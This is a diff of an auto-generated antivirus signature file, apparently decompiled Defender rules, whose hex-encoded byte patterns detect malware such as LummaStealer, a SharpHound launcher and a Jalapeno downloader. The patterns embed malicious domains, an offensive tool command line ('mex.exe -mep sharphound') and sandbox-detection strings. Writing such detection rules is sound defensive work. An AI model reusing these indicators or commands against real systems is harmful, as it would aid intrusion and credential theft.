3e c8 3e cc 03 81 3a de d0 3e d4 3e d8 03 81 3a de dc 3e e0 3e e4 03 81 3a de e8 3e ec 3e f0 03 81 3a de f4 3e f8 3e fc 03 81 3a de 00 3f 04 3f 08 3f 0c 3f 10 3f 14 00 00 61 00 01 00 02 00 02 00 04 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c } //900 condition: - ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29285+(#a_01_2 & 1)*29285+(#a_01_3 & 1)*29537+(#a_01_4 & 1)*121) >=3 + ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29285+(#a_01_2 & 1)*29285+(#a_01_3 & 1)*21345+(#a_01_4 & 1)*900) >=3 } -rule _InfrastructureShared_28369{ +rule _InfrastructureShared_30123{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " + + strings : + $a_01_0 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 5a 4e 21 4d 54 42 00 01 00 ce 3d 00 03 81 3a de 04 3e 08 3e 0c 03 81 3a de 10 3e 14 3e 18 03 81 3a de 1c 3e 20 3e 24 03 81 } //21539 + condition: + ((#a_01_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_30124{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 04 00 21 " @@ -370041,7 +392920,7 @@ rule _InfrastructureShared_28369{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*112+(#a_01_3 & 1)*114) >=2 } -rule _InfrastructureShared_28370{ +rule _InfrastructureShared_30125{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -370053,7 +392932,7 @@ rule _InfrastructureShared_28370{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*109+(#a_01_2 & 1)*28015) >=4 } -rule _InfrastructureShared_28371{ +rule _InfrastructureShared_30126{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 06 00 21 " @@ -370066,7 +392945,7 @@ rule _InfrastructureShared_28371{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*32+(#a_01_4 & 1)*110+(#a_01_5 & 1)*14958) >=3 } -rule _InfrastructureShared_28372{ +rule _InfrastructureShared_30127{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 06 00 21 " @@ -370076,12 +392955,11 @@ rule _InfrastructureShared_28372{ $a_01_2 = {69 6e 64 6f 77 20 66 61 69 6c 65 64 01 00 1a 43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 44 6f 63 75 6d 65 6e 74 73 5c 01 00 15 76 65 72 73 69 6f 6e 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 00 00 61 02 01 00 07 00 07 00 08 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 53 6d 6d 2e 46 69 72 6d 77 61 72 65 49 6e 66 65 63 74 69 6f 6e 2e } //8295 $a_01_3 = {68 61 00 01 00 07 68 61 6c 2e 64 6c 6c 01 00 0b 68 61 6c 61 63 70 69 2e 64 6c 6c 01 00 0b 68 61 6c 61 70 69 63 2e 64 6c 6c 01 00 0a 68 61 6c 6d 70 73 2e 64 6c 6c 01 00 0c 68 61 6c 61 61 63 70 69 2e 64 6c 6c 01 00 0c 68 61 6c 6d 61 63 70 69 2e 64 6c 6c 01 00 1b 48 61 6c 47 65 74 45 6e 76 69 72 6f 6e } //8513 $a_01_4 = {74 56 61 72 69 61 62 6c 65 45 78 07 00 58 46 00 76 00 46 00 69 00 6c 00 65 00 28 00 37 00 43 00 37 00 39 00 41 00 43 00 38 00 43 00 2d 00 35 00 45 00 36 00 43 00 2d 00 34 00 45 00 33 00 44 00 2d 00 42 00 41 00 36 00 46 00 2d 00 43 00 32 00 36 00 30 00 45 00 45 00 37 00 43 00 31 00 37 00 32 00 45 00 29 00 00 00 61 03 01 00 01 00 } //25965 - $a_01_5 = {00 21 23 } //1 condition: - ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28448+(#a_01_2 & 1)*8295+(#a_01_3 & 1)*8513+(#a_01_4 & 1)*25965+(#a_01_5 & 1)*1) >=3 + ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28448+(#a_01_2 & 1)*8295+(#a_01_3 & 1)*8513+(#a_01_4 & 1)*25965) >=3 } -rule _InfrastructureShared_28373{ +rule _InfrastructureShared_30128{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 08 00 21 " @@ -370089,15 +392967,25 @@ rule _InfrastructureShared_28373{ $a_01_0 = {4c 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 53 6d 6d 2e 46 69 72 6d 77 61 72 65 49 6e 66 65 63 74 69 6f 6e 2e 41 21 64 68 61 00 01 00 07 68 61 6c 2e 64 6c 6c 01 00 0b 68 61 6c 61 63 70 69 2e 64 6c 6c 01 } //21539 $a_01_1 = {61 6c 61 70 69 63 2e 64 6c 6c 01 00 0a 68 61 6c 6d 70 73 2e 64 6c 6c 01 00 0c 68 61 6c 61 61 63 70 69 2e 64 6c 6c 01 00 0c 68 61 6c 6d 61 63 70 69 2e 64 6c 6c 01 00 1b 48 61 6c 47 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 56 61 72 69 61 62 6c 65 45 78 07 00 58 46 00 76 00 46 00 69 00 6c 00 65 00 28 00 37 00 43 00 } //2816 $a_01_2 = {00 41 00 43 00 38 00 43 00 2d 00 35 00 45 00 36 00 43 00 2d 00 34 00 45 00 33 00 44 00 2d 00 42 00 41 00 36 00 46 00 2d 00 43 00 32 00 36 00 30 00 45 00 45 00 37 00 43 00 } //55 - $a_01_3 = {00 32 00 45 00 29 00 00 00 61 03 01 00 01 00 01 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 53 6f 6d 62 72 65 72 6f 4c 75 6d 70 2e 41 21 } //49 - $a_01_4 = {00 01 00 60 4d 00 45 00 58 00 3a 00 20 00 49 00 6e 00 2d 00 6d 00 65 00 6d 00 6f 00 72 00 79 00 20 00 65 00 78 00 65 00 63 00 75 00 74 00 69 00 6f 00 6e 00 20 00 6f 00 66 00 20 00 6f 00 66 00 66 00 65 00 6e 00 73 00 69 00 76 00 65 00 20 00 74 00 72 00 61 00 64 00 65 00 63 00 72 00 61 00 66 } //26724 - $a_01_6 = {4d 00 45 00 58 00 20 00 2d 00 20 00 41 00 62 00 6f 00 75 00 74 00 20 00 74 00 6f 00 20 00 65 00 78 00 65 00 63 00 75 00 74 00 65 00 20 00 70 00 61 00 79 00 6c 00 6f 00 61 00 64 00 } //1 MEX - About to execute payload - $a_01_7 = {6d 00 65 00 78 00 2e 00 65 00 78 00 65 00 20 00 2d 00 6d 00 65 00 70 00 20 00 73 00 68 00 61 00 72 00 70 00 68 00 6f 00 75 00 6e 00 64 00 } //1 mex.exe -mep sharphound + $a_01_3 = {00 32 00 45 00 29 00 00 00 61 03 01 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 61 6c 44 72 76 2e 48 21 4d 54 42 00 01 00 d8 72 } //49 + $a_01_4 = {27 3f 62 b3 20 24 9e 6d 34 a4 c4 0e 59 51 1e ef 0b c4 b5 d9 28 6b d7 7b 8f b1 90 fc 3b 70 f4 5c 03 f9 5f 2a 35 b8 9c da f8 48 d7 a2 70 4d 62 7f 84 64 d9 e5 31 94 05 a2 90 c0 2e 04 f1 56 ad 8f df 84 51 6a 4f 71 ab 62 3b 63 83 57 04 b4 2e 19 04 53 56 07 20 a3 8e 6c fd 6b 93 7c 37 01 ba 2a b0 d9 8a 01 50 8f 9e 30 23 f4 d0 87 fc 5e 4e 77 89 da ef ab 20 58 54 99 71 59 57 cf a0 99 fb fd 29 9c f9 5a e2 b3 25 4f 9b 4e d1 dd 14 e3 3a 9c b8 bd f4 } //-28154 + $a_01_5 = {2a 21 38 d9 f9 26 97 60 44 88 e1 52 4d fc 94 d8 e6 7f 0d 63 af e4 dc 9e f0 be ee db b6 31 04 ab 73 31 43 82 c8 ff 94 d5 14 84 3b ca a5 db 66 4b 17 0b f8 50 ee e6 eb 69 1e b3 90 57 30 82 00 00 61 03 01 00 01 00 01 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 53 6f 6d 62 72 65 72 6f 4c 75 6d 70 2e 41 21 64 68 61 00 01 00 60 4d 00 45 00 58 00 3a 00 20 00 49 00 6e 00 2d 00 6d 00 65 00 6d 00 6f 00 72 00 79 00 20 00 65 00 78 00 65 00 63 00 75 00 74 00 69 00 6f 00 6e 00 20 00 6f 00 66 00 20 00 6f 00 66 00 66 00 65 00 6e 00 73 00 69 00 76 00 65 00 } //-21441 + $a_01_6 = {00 72 00 61 00 64 00 65 00 63 00 72 00 61 00 66 00 74 00 01 00 3c 4d 00 45 00 58 00 20 00 2d 00 20 00 41 00 62 00 6f 00 75 00 74 00 20 00 74 00 6f 00 20 00 65 00 78 00 65 00 63 00 75 00 74 00 65 00 20 00 70 00 61 00 79 00 6c 00 6f 00 61 00 64 00 01 00 2e 6d 00 65 00 78 00 2e 00 65 00 78 00 65 00 20 00 2d 00 6d 00 65 00 70 00 20 00 73 00 68 00 61 } //32 condition: - ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*2816+(#a_01_2 & 1)*55+(#a_01_3 & 1)*49+(#a_01_4 & 1)*26724+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=7 + ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*2816+(#a_01_2 & 1)*55+(#a_01_3 & 1)*49+(#a_01_4 & 1)*-28154+(#a_01_5 & 1)*-21441+(#a_01_6 & 1)*32) >=7 } -rule _InfrastructureShared_28374{ +rule _InfrastructureShared_30129{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " + + strings : + $a_01_0 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 61 6c 44 72 76 2e 48 21 4d 54 42 00 01 00 d8 72 06 92 93 27 3f 62 b3 20 24 9e 6d 34 a4 c4 0e 59 51 1e ef 0b c4 b5 d9 28 6b d7 7b 8f b1 90 fc 3b 70 f4 5c 03 f9 } //21539 + condition: + ((#a_01_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_30130{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 21 " @@ -370108,7 +392996,7 @@ rule _InfrastructureShared_28374{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*116) >=1 } -rule _InfrastructureShared_28375{ +rule _InfrastructureShared_30131{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -370121,7 +393009,7 @@ rule _InfrastructureShared_28375{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*16384+(#a_01_2 & 1)*97+(#a_01_3 & 1)*16687) >=3 } -rule _InfrastructureShared_28376{ +rule _InfrastructureShared_30132{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 02 00 21 " @@ -370131,7 +393019,7 @@ rule _InfrastructureShared_28376{ ((#a_01_0 & 1)*21539) >=4 } -rule _InfrastructureShared_28377{ +rule _InfrastructureShared_30133{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -370146,7 +393034,7 @@ rule _InfrastructureShared_28377{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*32+(#a_01_3 & 1)*32+(#a_01_4 & 1)*8192+(#a_01_5 & 1)*0+(#a_01_6 & 1)*11830) >=7 } -rule _InfrastructureShared_28378{ +rule _InfrastructureShared_30134{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -370160,7 +393048,7 @@ rule _InfrastructureShared_28378{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*13924+(#a_01_3 & 1)*9481+(#a_01_4 & 1)*8+(#a_01_5 & 1)*30575) >=6 } -rule _InfrastructureShared_28379{ +rule _InfrastructureShared_30135{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 08 00 21 " @@ -370176,7 +393064,7 @@ rule _InfrastructureShared_28379{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25646+(#a_01_2 & 1)*27756+(#a_01_3 & 1)*28737+(#a_01_4 & 1)*105+(#a_01_5 & 1)*14918+(#a_01_7 & 1)*19467) >=8 } -rule _InfrastructureShared_28380{ +rule _InfrastructureShared_30136{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 03 00 21 " @@ -370187,7 +393075,7 @@ rule _InfrastructureShared_28380{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*111) >=30 } -rule _InfrastructureShared_28381{ +rule _InfrastructureShared_30137{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,35 00 35 00 0e 00 21 " @@ -370210,7 +393098,7 @@ rule _InfrastructureShared_28381{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*-29876+(#a_01_2 & 1)*16723+(#a_01_3 & 1)*114+(#a_01_4 & 1)*29797+(#a_01_5 & 1)*28015+(#a_01_6 & 1)*13166+(#a_01_7 & 1)*29285+(#a_01_8 & 1)*28787+(#a_01_9 & 1)*4864+(#a_01_10 & 1)*19729+(#a_01_11 & 1)*27759+(#a_01_12 & 1)*11568+(#a_01_13 & 1)*32) >=53 } -rule _InfrastructureShared_28382{ +rule _InfrastructureShared_30138{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -370225,7 +393113,7 @@ rule _InfrastructureShared_28382{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*114+(#a_01_2 & 1)*5120+(#a_01_3 & 1)*8301+(#a_01_4 & 1)*24946+(#a_01_5 & 1)*5632) >=6 } -rule _InfrastructureShared_28383{ +rule _InfrastructureShared_30139{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 07 00 21 " @@ -370238,7 +393126,7 @@ rule _InfrastructureShared_28383{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29807+(#a_01_2 & 1)*29472+(#a_01_3 & 1)*8292) >=5 } -rule _InfrastructureShared_28384{ +rule _InfrastructureShared_30140{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -370252,7 +393140,7 @@ rule _InfrastructureShared_28384{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*116+(#a_01_2 & 1)*8236+(#a_01_3 & 1)*25449+(#a_01_4 & 1)*32) >=6 } -rule _InfrastructureShared_28385{ +rule _InfrastructureShared_30141{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 0a 00 21 " @@ -370270,7 +393158,7 @@ rule _InfrastructureShared_28385{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*11568+(#a_01_2 & 1)*32+(#a_01_4 & 1)*53+(#a_01_5 & 1)*41+(#a_01_6 & 1)*14930+(#a_01_7 & 1)*28531+(#a_01_8 & 1)*29254+(#a_01_9 & 1)*29736) >=10 } -rule _InfrastructureShared_28386{ +rule _InfrastructureShared_30142{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0b 00 0b 00 0b 00 21 " @@ -370289,7 +393177,7 @@ rule _InfrastructureShared_28386{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*28018+(#a_01_2 & 1)*29264+(#a_01_3 & 1)*29249+(#a_01_4 & 1)*29812+(#a_01_5 & 1)*29301+(#a_01_6 & 1)*103+(#a_01_8 & 1)*111+(#a_01_9 & 1)*26967+(#a_01_10 & 1)*30575) >=11 } -rule _InfrastructureShared_28387{ +rule _InfrastructureShared_30143{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,6e 00 6e 00 07 00 21 " @@ -370303,7 +393191,7 @@ rule _InfrastructureShared_28387{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*23667+(#a_01_2 & 1)*23668+(#a_01_3 & 1)*20015+(#a_01_6 & 1)*83) >=110 } -rule _InfrastructureShared_28388{ +rule _InfrastructureShared_30144{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -370314,7 +393202,7 @@ rule _InfrastructureShared_28388{ ((#a_01_0 & 1)*16675+(#a_01_3 & 1)*115) >=4 } -rule _InfrastructureShared_28389{ +rule _InfrastructureShared_30145{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 0a 00 21 " @@ -370333,7 +393221,7 @@ rule _InfrastructureShared_28389{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*25454+(#a_01_2 & 1)*18720+(#a_01_3 & 1)*93+(#a_01_4 & 1)*101+(#a_01_5 & 1)*115+(#a_01_6 & 1)*101+(#a_01_7 & 1)*108+(#a_01_8 & 1)*30313+(#a_01_9 & 1)*29555) >=10 } -rule _InfrastructureShared_28390{ +rule _InfrastructureShared_30146{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -370344,7 +393232,7 @@ rule _InfrastructureShared_28390{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*115) >=30 } -rule _InfrastructureShared_28391{ +rule _InfrastructureShared_30147{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,23 00 23 00 10 00 21 " @@ -370367,7 +393255,7 @@ rule _InfrastructureShared_28391{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28261+(#a_01_2 & 1)*21258+(#a_01_3 & 1)*8993+(#a_01_4 & 1)*107+(#a_01_6 & 1)*101+(#a_01_7 & 1)*20082+(#a_01_8 & 1)*25711+(#a_01_9 & 1)*21076+(#a_01_11 & 1)*84+(#a_01_12 & 1)*100+(#a_01_13 & 1)*21364+(#a_01_14 & 1)*10+(#a_01_15 & 1)*10) >=35 } -rule _InfrastructureShared_28392{ +rule _InfrastructureShared_30148{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -370380,7 +393268,7 @@ rule _InfrastructureShared_28392{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_28393{ +rule _InfrastructureShared_30149{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0c 00 0c 00 0e 00 21 " @@ -370400,7 +393288,7 @@ rule _InfrastructureShared_28393{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*3840+(#a_01_2 & 1)*2560+(#a_01_3 & 1)*12851+(#a_01_5 & 1)*111+(#a_01_7 & 1)*110+(#a_01_8 & 1)*14136+(#a_01_9 & 1)*12589+(#a_01_10 & 1)*13616+(#a_01_11 & 1)*6656+(#a_01_13 & 1)*56) >=12 } -rule _InfrastructureShared_28394{ +rule _InfrastructureShared_30150{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -370414,7 +393302,7 @@ rule _InfrastructureShared_28394{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*105+(#a_01_2 & 1)*100+(#a_01_3 & 1)*21364+(#a_01_4 & 1)*10) >=5 } -rule _InfrastructureShared_28395{ +rule _InfrastructureShared_30151{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 0c 00 21 " @@ -370434,7 +393322,7 @@ rule _InfrastructureShared_28395{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*13105+(#a_01_2 & 1)*8233+(#a_01_3 & 1)*13105+(#a_01_5 & 1)*52+(#a_01_6 & 1)*53+(#a_01_7 & 1)*26967+(#a_01_8 & 1)*-7807+(#a_01_9 & 1)*32+(#a_01_10 & 1)*29472+(#a_01_11 & 1)*18765) >=10 } -rule _InfrastructureShared_28396{ +rule _InfrastructureShared_30152{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -370447,7 +393335,7 @@ rule _InfrastructureShared_28396{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*-1+(#a_01_2 & 1)*-10101+(#a_01_3 & 1)*28530) >=3 } -rule _InfrastructureShared_28397{ +rule _InfrastructureShared_30153{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -370460,7 +393348,7 @@ rule _InfrastructureShared_28397{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*83+(#a_01_2 & 1)*12846+(#a_01_3 & 1)*4) >=3 } -rule _InfrastructureShared_28398{ +rule _InfrastructureShared_30154{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -370473,7 +393361,7 @@ rule _InfrastructureShared_28398{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*22862+(#a_01_2 & 1)*9216+(#a_01_3 & 1)*101) >=4 } -rule _InfrastructureShared_28399{ +rule _InfrastructureShared_30155{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 21 " @@ -370485,7 +393373,7 @@ rule _InfrastructureShared_28399{ ((#a_01_0 & 1)*20515+(#a_01_2 & 1)*122+(#a_01_4 & 1)*102) >=4 } -rule _InfrastructureShared_28400{ +rule _InfrastructureShared_30156{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -370499,7 +393387,7 @@ rule _InfrastructureShared_28400{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*105+(#a_01_2 & 1)*1+(#a_01_3 & 1)*0+(#a_01_4 & 1)*19813) >=5 } -rule _InfrastructureShared_28401{ +rule _InfrastructureShared_30157{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -370513,7 +393401,7 @@ rule _InfrastructureShared_28401{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25963+(#a_01_3 & 1)*83+(#a_01_4 & 1)*85+(#a_01_5 & 1)*25964) >=6 } -rule _InfrastructureShared_28402{ +rule _InfrastructureShared_30158{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 05 00 21 " @@ -370526,7 +393414,7 @@ rule _InfrastructureShared_28402{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*24933+(#a_01_2 & 1)*111+(#a_01_4 & 1)*111) >=20 } -rule _InfrastructureShared_28403{ +rule _InfrastructureShared_30159{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 05 00 21 " @@ -370539,7 +393427,7 @@ rule _InfrastructureShared_28403{ ((#a_01_0 & 1)*25635+(#a_01_2 & 1)*19737+(#a_01_3 & 1)*29797+(#a_01_4 & 1)*28786) >=2 } -rule _InfrastructureShared_28404{ +rule _InfrastructureShared_30160{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 06 00 21 " @@ -370552,7 +393440,7 @@ rule _InfrastructureShared_28404{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*24948+(#a_01_3 & 1)*105+(#a_01_5 & 1)*102) >=2 } -rule _InfrastructureShared_28405{ +rule _InfrastructureShared_30161{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -370566,34 +393454,21 @@ rule _InfrastructureShared_28405{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*103+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*0) >=6 } -rule _InfrastructureShared_28406{ +rule _InfrastructureShared_30162{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,15 00 15 00 08 00 21 " strings : $a_01_0 = {54 52 3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 50 61 6d 65 73 65 67 21 48 6f 73 74 73 00 0a 00 12 73 00 6d 00 73 00 39 00 31 00 31 00 2e 00 72 00 75 00 0a 00 16 68 00 65 00 6c 00 70 00 2d 00 63 00 6d 00 63 00 2e 00 72 00 75 00 01 00 14 62 00 69 } //18467 $a_01_2 = {00 73 00 68 00 2e 00 72 00 75 00 01 00 1e 73 00 75 00 70 00 65 00 72 00 2d 00 66 00 69 00 6c 00 65 00 7a 00 2e 00 62 00 69 00 7a 00 01 00 28 76 00 73 00 6b 00 61 00 63 00 68 00 6b 00 65 00 2d 00 70 00 72 00 65 00 6d 00 69 00 75 00 6d 00 2e 00 63 00 6f 00 6d 00 01 00 18 76 00 73 00 6b 00 61 } //99 - $a_01_4 = {00 65 00 2e 00 63 00 6f 00 6d 00 01 00 14 7a 00 61 00 2d 00 6c 00 6f 00 61 00 64 00 2e 00 72 00 75 00 01 00 1c 7a 00 61 00 2d 00 70 00 72 00 65 00 6d 00 69 00 75 00 6d 00 2e 00 63 00 6f 00 6d 00 00 00 61 0e 01 00 08 00 08 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 4a 61 } //104 - $a_01_5 = {65 6e 6f 2e 41 4c 4b 21 4d 54 42 00 02 00 26 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 65 00 64 00 64 00 69 00 74 00 64 00 65 00 76 00 2e 00 63 00 6f 00 6d 00 02 00 56 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 2e 00 67 00 67 00 2f 00 6d 00 63 00 68 00 73 00 45 00 58 00 67 00 32 00 66 00 63 00 20 00 6f 00 72 00 20 00 64 00 73 00 63 00 } //24940 - $a_01_6 = {00 67 00 2f 00 66 00 6c 00 65 00 78 00 78 00 63 00 68 00 65 00 61 00 74 00 73 00 02 00 2c 46 00 4c 00 45 00 58 00 58 00 5f 00 4c 00 4f 00 41 00 44 00 45 00 52 00 2e 00 52 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 00 02 00 25 24 63 39 37 65 64 35 37 38 2d 65 65 34 64 2d 34 62 61 37 2d 38 65 36 63 2d 37 } //46 - $a_01_7 = {34 63 37 34 31 61 31 35 00 00 61 0e 01 00 08 00 08 00 08 00 21 23 4c 6f 77 66 69 3a 50 55 41 3a 42 75 6e 64 6c 65 72 43 6c 75 73 74 65 72 3a 49 } //25654 + $a_01_4 = {00 65 00 2e 00 63 00 6f 00 6d 00 01 00 14 7a 00 61 00 2d 00 6c 00 6f 00 61 00 64 00 2e 00 72 00 75 00 01 00 1c 7a 00 61 00 2d 00 70 00 72 00 65 00 6d 00 69 00 75 00 6d 00 2e 00 63 00 6f 00 6d 00 00 00 61 0e 01 00 08 00 08 00 08 00 21 23 4c 6f 77 66 69 3a 50 55 41 3a 42 75 6e 64 6c 65 72 43 6c 75 73 74 65 72 3a 49 6e 73 } //104 + $a_01_5 = {6c 49 51 00 01 00 0d 70 6c 61 63 65 73 2e 73 71 6c 69 74 65 01 00 0d 73 65 61 72 63 68 70 72 6f 74 65 63 74 01 00 15 73 74 61 72 74 69 6e 67 20 64 65 74 65 63 74 69 6f 6e 2e 2e 2e 01 00 12 61 63 74 69 76 65 5f 70 65 72 6d 69 73 73 69 6f 6e 73 01 00 2b 73 79 73 74 65 6d 5c 63 75 72 72 65 6e 74 63 6f 6e 74 72 6f 6c 73 65 74 } //24948 + $a_01_6 = {72 76 69 63 65 73 5c 76 62 6f 78 67 75 65 73 74 01 00 0c 76 6d 74 6f 6f 6c 73 64 2e 65 78 65 01 00 0b 63 6f 6e 74 72 6f 6c 2e 74 78 74 01 00 46 63 00 3a 00 5c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 66 00 69 00 6c 00 65 00 73 00 5c 00 6f 00 70 00 65 00 72 00 61 00 5c 00 6c 00 61 00 75 00 6e } //29532 condition: - ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*99+(#a_01_4 & 1)*104+(#a_01_5 & 1)*24940+(#a_01_6 & 1)*46+(#a_01_7 & 1)*25654) >=21 + ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*99+(#a_01_4 & 1)*104+(#a_01_5 & 1)*24948+(#a_01_6 & 1)*29532) >=21 } -rule _InfrastructureShared_28407{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 04 00 21 " - - strings : - $a_01_0 = {46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 41 4c 4b 21 4d 54 42 00 02 00 26 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 65 00 64 00 64 00 69 00 74 00 64 00 65 00 76 00 2e 00 } //16675 㩆牔橯湡潄湷潬摡牥䴺䥓⽌慊慬数潮䄮䭌䴡䉔Ȁ☀http://edditdev. - $a_01_1 = {00 6d 00 02 00 56 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 2e 00 67 00 67 00 2f 00 6d 00 63 00 68 00 73 00 45 00 58 00 67 00 32 00 66 00 63 00 20 00 6f 00 72 00 20 00 64 00 73 00 63 00 2e 00 67 00 67 00 2f 00 66 00 6c 00 65 00 